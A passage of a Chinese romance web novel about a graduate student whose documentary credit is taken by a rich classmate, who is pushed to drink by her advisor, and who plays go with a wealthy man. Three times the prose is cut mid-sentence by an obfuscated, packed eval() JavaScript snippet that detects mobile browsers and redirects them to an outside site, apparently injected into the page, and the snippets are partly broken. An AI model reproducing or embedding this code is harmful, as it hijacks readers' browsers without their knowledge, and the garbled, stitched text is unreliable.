苏棠这回没说话,甚至想要她打住这个话题,她仔细点开看,从她发来的一张张露骨照片里精挑细选,勉强挑了个穿着正装的男人截图发回去,敷衍。 【非要说的话,大概这样吧。】 秦诗像是被噎住,屏幕安静了半晌没消息,好久才发过来一条语音。 “我懂了,禁欲系,我给你讲,你不要被他们骗,其实这样的男人没啥好的,表明人五人六,私下都很闷s····” 末尾那个字擦了点尾音,苏棠还没听完,视线里突然多了一双手,她猛地一下按熄了屏幕,慌慌张张的抬头,生怕屏幕上的内容被人瞧见。 沈逸清没分眼神给她,只伸手在她面前的水果盒里拿了颗樱桃,慢条斯理放进嘴里,动作一贯的优雅。 离开时面色很正常,应该什么都没看见也没听见。 秦诗这人仗着一张初恋清纯脸这两年在娱乐圈大杀四方,但私下的性格却完全反着来的,说话露骨又大胆,反差极大,要不是两人是发小,苏棠还真的很难相信那个字从她嘴里吐出来。 看着对方走远的背影,她心下松了一口气。 席间都是些插科打诨的玩笑话,沈逸清时不时看一眼人,女人乖巧坐在角落里,只管吃东西,从不参与话题。 那副模样,正经极了。 ..... 散场的时候苏棠落在最后,不知有意还是无意,男人放慢了脚步,不紧不慢的走在她前面。 沈逸清低垂着眼,余光不着痕迹,全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747754|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都放在落后半步的身影上。 几秒后,预料中,身后响起一道怯生生的声音。 “那个、你的领带我怎么还你?” 她叫住他。 甚至还不知道他的名字。 * 包间里坐满了人,有校方领导,也有导师和同门。 苏棠半路接了电话过来,已经快没有她的位置,捡了个边角坐着,看着他们在一旁觥筹交错的高谈阔论。 姜唯山似乎很开心,酒喝多了,已经开始上脸,脖子都泛红,但丝毫不影响他的兴致。 鲍柔和他一起坐在主桌,却滴酒未沾,校领导手里端着一小杯白酒对着她。 “听说鲍同学的爸爸又给学校捐了一栋实验楼,不愧是从京大出去的人才,两父女都那么优秀。” 这话带着谄媚,鲍柔只是笑,拿过一边的果汁意思性的抿两口,似乎十分嫌弃那味道,院领导瞧了她一眼,并没有为难,随她去了。 “可不是!”姜唯山接话“这个纪录片她也出了很大的力气,要不是我这次评职称还少篇文章,我肯定把一作让给她,抢了她的功劳,我倒还有些不好意思!” 他转头对着鲍柔笑,鲍柔又对着他笑,客气道: “我哪有什么功劳,都是老师指导得好,你得一作,应该的。” 苏棠缩在角落里,听着三人你来我往,心里窝着一团火,最后听不下去只得起身离开,没走两步却被姜唯山叫住。 “哎!苏棠!” 他起身过来把她往校领导身边拉。 “你多久来的,也不过来打声招呼,这是院里的童主任,到时候你助研的经费还要麻烦人家!过来打个招呼。” 接着拿过桌上的小酒壶和杯子,给苏棠倒了小杯白酒递过去。 鲍柔坐在位置上,闻言抬头看她,视线又挪到白酒杯上,有些看戏的神情。 苏棠没接,指着她面前的果汁。 “我不会喝酒,用那个吧。” 没关紧的包房门露了条缝,沈逸清大步经过,忽的一愣,退回半步,隔着老远盯着里面瞧,是姑姑学校的一群师生,还未仔细认人,下一秒肩上拦上双手,被陈牧寒强拉走。 “看什么呢,时越他们等着呢。” 屋内,正僵持不下。 苏棠的提议,姜唯山不肯。 “就一小口,表达下诚意”他佯装生气,摆着一张脸凑到她耳边低声道“别得罪人,助研费不想要了?” 苏棠紧抿着唇,站了两秒伸手去接,仰头一饮而尽。 白酒辛辣,喉咙立即泛起一阵不适,她咽了咽口水用力压住,打完招呼就往门外走。 从卫生间出来的时候她没打算再回去,径直离开时却突然被人叫住。 “苏棠!” 鲍柔站在餐厅门口叫她,肩上挂着包,看样子也准备离开。 她回头,疑惑的看她。 对方样子客气,话却不客气。 “昨天我去还设备,老板说相机坏了不能开机,得赔。” 苏棠一下愣住。 那是一台索尼FX30,配备了全画幅Q35mmExmorRCMOS传感器,具有高达12.1亿像素的分辨率,她当初为了拍片特意去租的。 东西好用,可价格也很贵。 她一下有些着急。 “可是我交给你的时候是好的呀!” 鲍柔立刻摆脸。 “你的意思是我弄坏的?” 苏棠无奈“我不是这个意思。” “那什么意思。” 苏棠不说话。 鲍柔把手机摸出来,语气高高在上。 “我会在乎这点赔偿的小钱?是我弄坏的我自然主动赔,可那东西你包装好交给我,我没打开过,我把老板的电话给你,你自己和他商量赔偿的事吧。” 手机震动,苏棠微信里她发过来一个电话号码。 选了课题拍片这两年,对方几乎没怎么参与过,还相机还是那天苏棠临时有事,让她帮忙顺路跑了个腿,没想到这都能出事。 她很后悔当时没有打开设备当她面使用一遍,这下出了问题,虽心里怀疑,可还是拿她没有办法。 没想到呕心沥血两年,自己鸡飞蛋打,不仅一作二作被人抢,还得倒贴上设备钱。 她黑着脸和老板通完电话,鲍柔已经从停车场开车出来离开了。 白色的保时捷越来越远,鲍柔在后视镜里看了一眼仍在原地的人。 座位上的手机突然震动一下,微信的消息框弹出来。 筝:【哈哈哈哈,你这样会不会太歹毒了,毕竟对方是穷人,一两万的赔偿金也是很多呢!】 鲍柔握着方向盘,没打算回。 谁让她老是和自己作对,不就是个二作署名,至于闹到院方去吗,还写举报信,好在最后被压了下来,不然整个组里都跟着她一起丢脸。 ..... 沈逸清从酒楼出来,开着车,老远就瞧见路边的人影有些熟悉,待近了才确定刚才自己没有眼花。 苏棠走两步停两步,偶尔撑在路边干呕,面色一片惨白,什么也吐不出来。 她怎么也没想到,一小杯白酒的后劲会有那么大,加上没怎么吃饭,胃里一团火似得烧得慌,脸颊也发烫。 肚子难受,她缩成一团蹲在路边,耳侧传来一声急刹,面前稳稳停了一辆军绿色吉普。 她抬眼扫了一下。 京A00777。 有些熟悉。 下一秒,男人声音响起。 “需要帮忙吗?” 4. 第 4 章 女人抬起脸来,薄唇微张对着他,表情很惊讶,微红的眼睛湿漉漉,像哭过。 活像个落入人间被欺负了的精灵。 没来由的,沈逸清有点心疼。 他冲她轻笑。 “发什么呆!不认识了?”沈逸清盯着她捂肚子的双手,“不舒服?要去哪里,我送你。” 男人客客气气,苏棠仍然蹲着没动,愣了半晌反应过来,慌忙摆手。 “不用,我蹲会儿就好了” 还从来没人敢这样拒绝他,沈逸清冷不丁愣了下,反应过来后笑了。 “跟我客气?” 他推开副驾驶的门,态度不容拒绝。 “上来,这雨一时半会停不了。” 车门‘啪’一声关上,沈逸清不露声色的看了看人。 额前一圈细碎刘海淋湿了,死板的黏在脸颊,后面的高马尾也变得湿重不再轻盈。 视线再下移,一双眸子即刻变得深邃。 白衬衫被雨水浸透,没有紧贴曲线,但也隐约看得见下面淡粉的内衣颜色。 女人脸色惨白,嘴唇有些发紫,似乎被冷得不轻。 他收回视线,伸手打开空调后将车窗摇上来。 车内重新变得密不透风。 女人身上本来还似有似无的酒味,突然在封闭的空间变得浓厚。 莫名的。 沈逸清觉得自己的心情有些不悦。 “喝酒了?” 突然的一问,没什么情绪,却莫名让人觉得他生气了。 苏棠一愣,抬眼看他,老实的回。 “嗯,和院里导师和领导吃了个饭。” “没喝多少,就小杯抿了一口,只是白酒度数有些高。” 何止是有些,明明是非常,胃里一团火似的,偏偏男人的气场又太强,总是让她不自在,里里外外冰火两重天。 她本来不想上来。 沈逸清紧盯着她看,脸上没什么表情,顿了两秒侧身,紧接着,苏棠面前递过来一瓶苏打水,小巧的玻璃瓶身,她没见过的牌子。 “没想到你们学术界也来商场上应酬喝酒那一套,我以为都是文化人,懂得分寸。” 他这话委婉,什么都没说,却又好像什么都明白,把一切不满都撒向了那群逼她酒的人。 苏棠不知道该怎么回,干脆没接话。 车里一下变得静悄悄,只有空调幽微的送风声。 不用抬头,苏棠也知道男人在看她,紧握着手里的苏打水瓶,只低着头,出于本能,她不怎么有勇气和他对视。 一个不太熟的男人和一个不太熟的女人,明明车里的空间不算窄,却莫名的暧昧。 一下一下,苏棠仿佛听见胸腔里心脏逐渐失控的声音。 忽的,男人坐直身子,双臂一抬,脱下身上那件黑色西装递过来。 “有些冷,你披上吧。” 男人手指细长、骨节分明,随意的提着一截西装领。 苏棠视线停留在他青筋幽浮的手背上,没接。 虽然入秋,外面也在飘雨,但车窗关上了,她并没感觉有多冷。 她看着价值不菲的西装,不敢接,嘴里只是客气。 “没事,我觉得还好。” 拒绝像是她刻在基因里的本能。 沈逸清不说话,眼神直勾勾,从她身前游离到脸上,看了一阵,依旧态度强硬。 “还是穿上吧。” 说完,衣服不容拒绝的丢在她膝盖上。 温热的布料,还带着男人身上的体温。 像被人抱在怀里,苏棠脸有些烫。 她给他报了个地址,沈逸清几不可闻的挑了下眉。 两人要去的竟是同一个地方。 “身体不好?”他问。 苏棠连忙摇头。 “没,去看朋友。” 好长一截路,男人不再说话。 他天生眉毛有些低,压近眼睛,笑起来时有些痞气,偏偏打扮十分正派,沉默时整个人看起来格外严肃,是一种专属于上位者的威压。 两人言语很少,他不刻意和她攀谈,只认真开车。 细雨轻轻柔柔的飘在车窗上,随着两人呼吸,车内渐渐升温,玻璃上冷热相接,慢慢起了一层朦胧水雾。 苏棠坐在位子上,仿佛与外面的天地彻底隔离开来。 车内陷入一种诡异的、令人心慌的安静,甚至有些压抑,她规规矩矩坐着,大气不敢出,连偏头也不敢,只一路认真又专注的盯着挡风玻璃外的路况。 想来也是,包括陆屿,他们在台球厅那群人,都是些家世大好的公子哥,个个谈吐不凡,行事潇洒。 他和她本来也没什么好攀谈的。 她想。 除了台球厅那一次,两人根本没什么往来,连身份看起来也这样天差地别。 为了避免有客套讨好的嫌疑,他不主动抛话题,她就乖巧的沉默,保持着基本的社交礼仪。 客气又疏离,伴随着她小小的不自在。 就这样一路煎熬到医院的停车场,苏棠下车站定后要将西装外套还给他,沈逸清却断然拒绝。 女人站得规规矩矩,板正极了,沈逸清站在原地定定看了她两秒,淡淡开口。 “继续穿着吧,有还的机会,不急。” 一刹那,苏棠猛然想起他那条价值不菲的领带还挂在自己宿舍里,以为他是在暗示她什么。 “那条领带我送去干洗,已经好了,一直没有机会还你,那我改天一起给你。” 沈逸清笑,知道她会错意,却不解释,只是沉默的点点头。 男人没再逗留。 苏棠站在原地,对方离开的背影越来越远,医院门诊处,一个绿色制服的男人迎出来给他引路,随即两人的背影双双消失在门口。 直到男人背影彻底消失,苏棠拿起手机,下意识的调开两人的聊天界面。 那晚她问他怎么还他领带,对方没有留下电话,却加了她微信。 对话框仍然停留在加好友的时候,除了一句成功添加好友的提示外,并没有任何交流。 朋友圈没锁,却一干二净,他对他一无所知。 陌生又客气。 她还是不知道他叫什么,但两人的缘分却莫名如此紧密,像缠绕的风,在哪里都总是相遇。 * 病房里。 米朵左腿打着石膏瘫在床上,却丝毫不影响她身上那股蓬勃的生命力,面色没有丝毫憔悴,甚至点了一堆外卖摆在一旁。 面前立着平板,正在看综艺节目,模样乐不可支。 苏棠才走到门口,就听到她哈哈笑的声音,看来心情丝毫没受影响。 “看来你并不需要别人的关怀,摔成这样还一个人在这人傻乐。” 她把买来的水果放到一旁,盯着人笑。 米朵也不客气,才吃了一包辣条,嘴里满是味儿。 “快给我削个苹果,辣死我了!” 苏棠拉过椅子坐下,宠溺的顺从了。 “怎么搞的,兼职走个台摔成这样。” 米朵完全没当回事。 “下雨,那舞台太滑了,十厘米的高跟鞋哎!没注意就摔了,没事,医生说过两天就能出院。” 她问她。 “你知道吗,听说你那个纪录片入围了国家纪录片学院奖。” 说完小心翼翼的看了一眼苏棠。 对方神色寡淡,轻轻的应了一声。 “对,我才从庆功宴上过来” 米朵知道,那滋味估计不好受,明明全是她一个人的功劳,却鸡飞蛋打,全为别人做嫁衣,连纪录片研究论文都才勉强得了个等于没有的三作。 对于要申博的研究生而言,这分量还不如没有,等于你付钱开了一桌好席面,他们吃完了对待流浪狗似的扔了残羹剩饭过来,还说这是看面子,赏你的。 有些明目张胆的欺负人。 米朵知道她闹过一阵,但是最终还是被院里压了下来。 没背景没家世的人被人欺负了,也只能忍气吞声,也不可能再往上闹了,毕竟再过分了就可能延毕,说不上同情,是有些心疼她。 “那鲍柔不就是仗着家里有几个臭钱,还有个出手阔绰好面子的爹,时不时往学校大张旗鼓的捐钱,这人太张狂总不是好事,我看她总有一天要摔跟头!” 这话也不是纯粹为了博苏棠开心,而是鲍柔在学校里名声烂得不行,这两年仗着关系抢了不少人的文章署名,圈子里的人都怨声载道,苦不堪言,却实在没有办法。 苏棠不说话,沉默的给她削苹果。 “哎!” 米朵兴奋的看她。 “听说这次评奖委员会有舫舟老师,我看你这片子八成要拿奖,很对他的胃口。” 苏棠泄气。 “拿了奖又有什么用,论文我都排到三作去了,纪录片字幕里导演组根本没有我的名字,得不得奖都跟我无关了。” 她神情落寞,米朵没想到姜唯山做事这么绝,心里不小的惊讶了一把,怕惹她伤心,不敢轻易再说话。 舫舟这人吧,很神秘。 用他们的话来说,算是个神童,别人十四五岁还在初中懵懵懂懂的年纪,他就已经知道了自己的人生对什么感兴趣,并为此付出常人达不到的忍耐力。 拍纪录片很熬人,特别是自然类,但他扛一个相机能在深山老林里一窝就是几年。 在大家以为他的天赋仅在于此时,接下来又横空出世一部人物类的纪实片,聚焦底层人物的出路,拍尽了边缘人物的凄凉和挣扎,让大家用另外一个角度看到了一个不一样的社会。 与这次苏棠拍摄的切入点很像。 那部片子横扫国内外一切大奖,最后因为太过尖锐,也太过现实,舆论戾气太重,社会影响不好,国内各个视频平台被上面勒令下架,但舫舟的名声从此钉在了这个行业的最高点,达到一个人人都难以企及的高度。 人很厉害,也是摄影系所有学生的偶像。 苏棠当初拍这部纪录片的初衷米朵也知道。 两年前,听说一向神出鬼没的舫舟居然被美院请动,答应做客座教授,她想投其所好拍出成绩,申请他当博导。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747755|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 眼看希望落空,她张张嘴安慰她。 “没事,姜唯山虽然做事不地道,但是他答应了你到时候给你写推荐信,而且距离毕业也还有点时间,他也说要给你申请助研费,你可以再拍一部,说不定比这更好,申博没问题的。” 苏棠苦笑。 “画饼罢了。” 画饼罢了。 但她心底却不得不屈服,甚至抱有一丝丝最后的期望,期望姜唯山对待她毕设的问题上,能重新做个人。 * 沈逸清笑着从高|干病房退出来。 陆振霆戎马半生,到头了,一把年纪却被痛起来就要命的阑尾炎折腾进医院。 是个小手术,他自认身子俊朗,没恢复好硬要出院,半道里伤口感染又不得不认命的躺回医院。 临老了,倒越活越像个倔强的孩子。 沈逸清关上房门冲里面打了最后一声招呼。 “车钥匙我交到你随从手里,我车修好了,就不开了,这车太招摇。” 床上的老人虚浮无力却积威犹在,只沉默的打量他一眼,点了点头。 下楼的时候碰上急急忙忙往这里赶的姑姑陆水,迎头就一脸焦急的问他情况,沈逸清安抚。 “线崩开,重新开肚子缝上了,没有大问题,就是又被折磨了一道。” 陆水这才松口气。 “你妈呢?” 沈逸清抬眉。 “不怎么联系,估计工作忙着呢。” 他也是突然在酒局上接到的电话。 陆水不满。 “忙是忙,自家爹出事总该来看一眼。” 沈逸清不说话,倒是把话题转移到她身上。 “看你这火急火燎的,是从哪个应酬的酒局上赶来?” 陆水愣了一下,这孩子今天怎么没大没小的,敢这样和她说话。 “办公室过来的,学校最近事挺多。” 沈逸清笑。 “是挺多的,又有学生跳楼,又有学生到处应酬酒局,姑姑管理学校也来形式主义那一套,倒是让我刮目相看,我还以为你接任了京大的校长会有所不同。” 敢揶揄起她来了。 陆水抬手就要打人。 “你小子!今天怎么了,吃火药啦!” “没!” 沈逸清皮笑肉不笑的躲开。 “刚在餐厅碰上一桌你们学校的师生,还没出社会的愣头青们一个个拿着酒杯走场呢,我以为我走错,进到哪个公司谈项目的现场了。” 陆水听罢蹙着眉不言语。 沈逸清不继续和她寒暄,转身要走,背冲她摆手。 “我还有事先走了,姥爷不舒服刚躺下,估计要睡一阵,你去看的时候动作轻点儿。” 他捏着手机打车,慢悠悠的从医院里走出来。 门口人来人往,两句攀谈声清晰的传到他的耳边。 “哎,这医院外墙装修挺特别的,黑白的棋子,是围棋吗?” 一道清盈干净的嗓音不急不缓的响起,慢慢向小孩解释。 “是一副围棋定式,黑棋落15,白棋落14,下一步该白棋走,走完就是赢棋,黑代表病魔,白代表医护,取妙手回春的意思吧。” 苏棠十分认真的盯着墙面感叹,语气里有赞赏。 “还挺有意思的。” 这图寓意好猜,但那也必须是懂围棋的人才能看得明白。 沈逸清闻言,站在原地好奇的偏头看过去。 女人侧对着他,微仰着头,纤细白皙的脖颈绷出条好看的弧线,宛若美丽又高傲的天鹅。 那双湿漉漉、小鹿般勾人的眼睛从不认真看他,此刻却专注的盯着医院外墙。 刚才慌慌张张的要还他领带,那副小心翼翼、紧张无措的模样现在沈逸清还忘不掉。 他说过那领带有很多用途,不过她似乎听不明白,也没懂他的意思。 领带固然可以给她当腰带 可他更想拴在..... 束缚。 禁制。 缠绕。 绸缎般白嫩的肌肤一定会立刻通红一片。 她一定会讨饶似的看他。 那眼神..... 一定很好看、很诱人。 无端的,下腹隐隐起了冲动,发胀。 远处的女人站得笔直,那件西装外套被她取下来搭在手腕上,并没有听他的话认真披着。 突然地,手机震动。 苏棠低头看一眼,不可置信的愣了一秒,随即下意识的慌乱回头。 但人来人往,远处的路面已经空了。 司机打着双闪过来,沈逸清早已落座。 看着四处张望的女人,他忍不住噙着笑转回过头看向司机。 “走吧” 这头,苏棠怔怔的看着对话框的界面。 俏皮的语气,与刚才在车上寡言少语的模样大相径庭。 似乎又回到教她打台球那晚。 屏幕上的话令苏棠脸颊阵阵发烫,紧接着泛起一片可疑的潮红。 .... 5. 第 5 章 入秋的天气像少女一样善变。 回来才刷了卡进校门,原本淅淅沥沥下着的雨突然变大。 苏棠原本想拿手里的西装外套挡一挡,但那厚重得独特质感时刻都在提醒她,——这东西很贵重。 想了想还是收紧抱在怀里,一头扎进雨雾。 慌慌张张跑到宿舍的时候,已经被彻底淋成了落汤鸡。 刚一进门,她就从玄关处的穿衣镜里看到自己的落魄模样。 身上的白色衬衫变得湿透,下面的粉色内衣在镜中若隐若现,连轮廓都看得清晰。 这衣服质感轻薄,那下午她上他车时....... 苏棠脸一下爆红。 意识到在车上时为什么对方一而再的要给她递外套,又想到自己那不知好歹的拒绝,一下五指抓地,尴尬的楞在镜子前,脸颊一阵接一阵的热浪。 她呆了两秒才回过神去拿衣架,把怀里的衣服平平整整的晾上去。 抚平褶皱的时候触摸到西装内衬口袋。 底下有东西咯着她掌心。 她小心翼翼的摸进去,又小心翼翼的拿出来。 一张双人合照。 大头贴的款式很复古,像是很多年前的东西,也没塑封,很幼稚花里胡哨的配图,和男人的气质十分不搭,似乎是为了讨好女方陪着一起胡闹。 能这样放在贴近胸口心脏的位置,应该是很特别的人。 能让那样的男人如此珍视,是什么样的女孩呢。 苏棠盯着照片发愣,心里有些泛酸。 宿舍的黯淡灯光昏昏暗暗的照,她楞站在桌前。 回想起男人离别时的脸,油然而生一种朦胧的不真实感,仿佛刚才的见面只是一场淡薄的梦,春去无痕。 * 视频刚一接通,简素芳慈祥的大脸瞬间占满屏幕。 苏棠小心翼翼将手机立在书桌上,拿了毛巾边擦头边和她说话,今天不开心的事太多,只有看到奶奶的时候脸上才有了几分真切的笑容。 “爷爷呢?”她问。 老人笑眯了眼,“出海去了嘞!估计还有会儿才回来”简素芳语气宠溺又怪罪,“放中秋节也不回来,我们都怪想你的!站近点,我仔细看看,我孙女瘦了没有!” 苏棠听话的停了动作,听话的慢慢靠近屏幕。 “下巴都尖了!最近没好好吃饭。”简素芳扁了扁嘴,有些不悦。 苏棠赶紧狡辩。 “好着呢,就是最近课题重,用心学习去了,等放寒假就会长回来的!” 简素芳听了这话更加不开心。 “当初就不爱你学这个什么摄影,我听秦诗给我讲啊,女孩子家的扛几十斤重的镜头满山跑,那是男人干的活儿嘛!” “奶奶,你别听秦诗在那给你瞎说,哪有几十斤重的相机,她跟你说胡话呢!” 简素芳还是不信,“那到处跑总没错吧,看把你累的,又瘦了,多久放寒假,回来爷奶给你补补,最近开渔季,海里的螃蟹正肥着!你爷爷特意给你留着,没想到你中秋不回来!” 又提这事,苏棠倒有些愧疚了。 她拿过吹风机开小档吹着,慢慢和她唠家常,过了一个多小时才恋恋不舍的挂电话。 她那对名义上的养父母,自从有了亲生孩子在外地安家后,连小渔村的老家也很少回,两个老人不计较,毕竟总有苏棠陪着,但自从她读大学走后,却不免孤单,因此,每周都要雷打不动接一次视频。 苏棠挂了电话,慢慢拉开书桌的抽屉,将一个首饰盒小心翼翼的取出来打开。 是一副玉石耳钉,她考上研究生那年简素芳从她耳朵上取下来送给她的。 她犹豫了一阵,还是把盒子装进包里。 .... 寄卖行下午的生意寡淡,好不容易来了个客人,老板立即笑呵呵的迎过来。 看见首饰盒的东西有些惊喜,心里高兴却又用力压住,开口就是打压。 “成色不错,但是毕竟是老东西,二手货,价格得打个对折。” 苏棠顿了顿。 “我不卖。” 男人愣了一下,苏棠解释。 “我急用钱,这东西你先报价拿走,然后再定个价,过段时间我攒够钱再赎回来。” 寄卖行也就是古时候的典当行,现如今换了个称呼,但买卖的宗旨并不变。 有钱赚,老板当然乐意。 “那也要定个期限,万一你不来,我就要卖给别人了。” 苏棠点点头应了声好。 过了会儿,卡里多了笔满意的数字,这才放心的走出来。 那相机的赔偿款要两万多,起初她想过去借,但仔细想了想,自己好像没有几个朋友,秦诗虽一贯要好,但总麻烦别人总不好,至于米朵,连她自己都分身乏术。 这钱不少不多,但终究不是个小数目。 将钱给相机租赁的老板打过去,见对方没说二话,这才安心的往兼职的棋社走。 路边,沈逸清正百无聊奈的敲着方向盘等红灯,偏头就撞见一抹熟悉的身影从路边的寄卖行出来,晃眼一瞧,又走远了。 没过多久,他又再次意外。 他进门的时候对方正对着一群学生讲课。 模糊的毛玻璃教室,她在明处,而他隐在门外。 女人自信张扬的模样,与坐在他车内时的拘谨背向而驰。 她换了身衣服,扎着低丸子头,紧身的松针绿连衣裙,套了件黑色外套,抬手板书的瞬间,腰间镂空的设计露出底下小片雪白的肌肤,清纯中带丝俏皮性感。 沈逸清眸色微深,转了眼看向黑板。 上面画着一小幅棋局,基础的入门式,黑子三角围成一个▽,俗称空A点,是围棋入门中最基础的陷阱——老虎口。 顾名思义,就是棋子在只剩下一口气的状态下,如果贸然进入,就会被对方一口吃掉,会很危险。 这种围棋中落子后只剩一口气的地方就会成为老虎口,要绕着走。 苏棠干净柔和的嗓音在安静的培训室慢慢响起,对学生念起一句口诀。 “‘中间三字作虎口,边上两子作虎口,角上一子作虎口,不要进去绕着走’。” 话音刚毕,抬头就撞上一道放肆大胆的目光。 四周突然一下静静的。 男人站在门口,两人的目光就这么隔空相对。 他怎么会在这里。 苏棠惊诧的愣着,有学生顺着她的目光回头,好几秒她才意识到自己的失态,重新收回视线进入状态。 下课后她没有像往常一样如愿顺利的走掉。 中式装修的棋室里,燃着一股好闻的檀香味,茶台上的热水冒着雾气,满屋充斥着浓烈的茶香,似乎在她进来之前两人正在煎茶攀谈。 男人坐在软垫上,慵懒的模样,一条腿横盘着,一条腿半曲起,手肘虚虚垮垮搭在膝盖上,这动作既优雅,又透出几分洒脱随性的桀骜之姿,跟往常不苟言笑的模样相去甚远。 苏棠进来,他依旧没有任何反应,只出神的托着下巴,审视着桌上的残局,指尖捏着一颗黑棋,神情专注。 外套被他脱下整整齐齐的叠在一旁,单穿一件黑衬衫,半挽着一截袖口,捏棋的指尖顿在空中,手腕悬空,手臂蓄着力量,健硕的肌肉群若隐若现。 苏棠走近。 棋盘上忽多了一道黑影,沈逸清后知后觉的偏头,看清来人后笑了。 “川哥说社里来了个厉害的围棋老师,我想着过来切磋一下,没想到竟是你。” 那句称赞抑或恭维,令苏棠惊讶了一下,看着身后进来的白幸川眼中有疑惑,对方朝她点点头。 “没想到,你们竟然认识,这个是我之前的学生,现在嘛,算不上了~”他笑,“长江前浪推后浪,现在师傅已经被拍死在沙滩上喽~” 这俏皮话,令屋里原本冷场的气氛再度轻松起来。 苏棠恭谨的在他对面坐下来。 “沈逸清。” 男人突然的自我介绍,递过来一只手,看着她。 “苏棠。” 愣了一秒,她伸手。 温热的双掌相握又很快分开。 苏棠心里有一丝很奇怪的感觉,明明才见过几次面,两人却像认识了很久,可现实又打醒她,相握的那一刻,她才第一次知道他的名字。 一副古书残局,两人的较量说得上精彩,你追我赶的争夺城池,白幸川早就已经退出去,屋里只剩下两人沉默相对。 气氛莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747756|145355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的安静严肃,只有偶尔响起的落子声,茶室里的热水始终在咕噜咕噜作响,燥热不安的白色雾气慢慢在狭小的棋室里翻涌、蒸腾,将一颗心也搅弄不安。 两人都出了身薄汗,盒里的棋子快要见底,黑白棋子铺了满盘,一着不慎,就会满盘皆输。 苏棠焦灼的判断着形势,对面的男人却突然开口。 “你为什么喜欢围棋?” 因为孤独。 这话苏棠不好说出口。 读书那些年,因家庭原因,她性格孤僻,相较于其他需要和人一起协作的修学分项目,她更偏爱下棋。 下棋没有协作,下棋只有输赢,不是你死就是我活,不需要虚以为蛇,是非分明,只有对错成败,不需要时刻考虑别人的眼光和感受,赢了棋甚至还能获得片刻的尊重。 尊重这个词对于她而言很昂贵,那是她在高中时候最缺少的东西。 心思百转千回,苏棠只最终轻声说了句。 “只是喜欢安安静静、全神贯注厮杀的感觉。” 她盯着棋盘,手中捏着一枚白子思考落位,迟迟不下。 “你呢?” 头也不抬,她问。 屋里静幽幽,仿佛与世隔绝,只留他她二人。 沈逸清慢慢抬头,对坐的女人低垂着眼,睫毛忽闪,心思都在棋盘上,目光沉沉盯了许久,半晌才回话。 “一样的。”他语气认真,“我也十分享受在安安静静的博弈里,把对方杀个片甲不留的感觉。” 娓娓道来,像是和许久不见的老朋友一样交心攀谈。 “不过我身边的朋友都不喜欢,他们说玩棋的人爱好讲战术,心都脏。” 沈逸清自我打趣的口吻令渐落下风的苏棠慢慢放松下来。 “棋子是世上最干净的东西,下棋讲究方式方法,一切都在棋盘上,输赢都光明正大,是世界上最公平的比赛,脏的只是看客妄论的那颗心、那张嘴,围棋嘛,不是围住别人就是困死自己,只是正常的博弈比赛而已。” 沈逸清意外于女人的见解,目光直勾勾的盯着她,有了几分赞赏的意味,随即点头表示赞同。 比发现一个漂亮女人更有趣的事,是发现这个漂亮女人还有一个漂亮脑子。 沈逸清低头,棋盘上形势焦灼,饶有意味的开口。 “快见分晓了,下个赌注怎样样?” 正在思考落子的苏棠停下来抬眼看他,探究的眼神像是不安。 “怎么个赌法?” 男人轻笑。 “放心,不欺负你。” “你赢了我,想要什么尽管开口,我赢了你.....”他顿了顿,目光审视着她,“你要答应我一个条件。” 苏棠突然想起他在医院门口发给自己的微信消息。 ——解释得很对,聪明的孩子有糖吃。 他到底把自己看作什么人,竟然用这种哄小孩的口气。 似有似无的暧昧里透露着一股宠溺,她有些猜不透,又怕自己是想错了,心里一阵狂跳,也有些紧张,抿嘴不言,似乎有所顾忌。 沈逸清看透她的心思,轻声又礼貌的打趣。 “放心,不是让你去杀人放火,肯定是你能办到的事情。” 心思被拆穿,苏棠面色一红,这才放心下来,乖巧的点点头。 有了赌注,每一次落子她都格外的紧张,虽然之前也紧张,但毕竟有所不同,与她一副如临大敌的姿态相比,沈逸清明显放松许多。 他看了看眼前低头琢磨棋盘的女人,伸手不客气的提子。 眼前一下空了,苏棠怔住,这才恍然大悟。 刚才与他攀谈之时走了心思,已经无形之中落入陷阱,被征子而不自知。 她像一个被围猎的独兽,被赶入精心编制起来的老虎口。 男人带着胜利者的笑容向她伸出一只手。 “承让。” 拿得起放得下,如她自己所说,并未心有不甘。 苏棠伸出手礼貌性的回握,男人掌间的温度一波波的传过来,她看着他,一双亮晶晶的杏眼满是疑惑,鬼使神差的先开口。 “所以,你要我答应你什么条件?” 有些迫不及待的想要揭开谜底,不安的语气急不可耐。 6. 第 6 章 米朵伤势还没全好,苏棠扶着人小心翼翼的从医院出来又打了车,到了京北大学的校门口,社会车辆进不去,只得又小心翼翼的将人慢慢扶下来。 米朵半只手臂虚搭上苏棠的肩膀,两人姿势怪异,蹦蹦跳跳的往寝室走。 半道上却碰到个熟人。 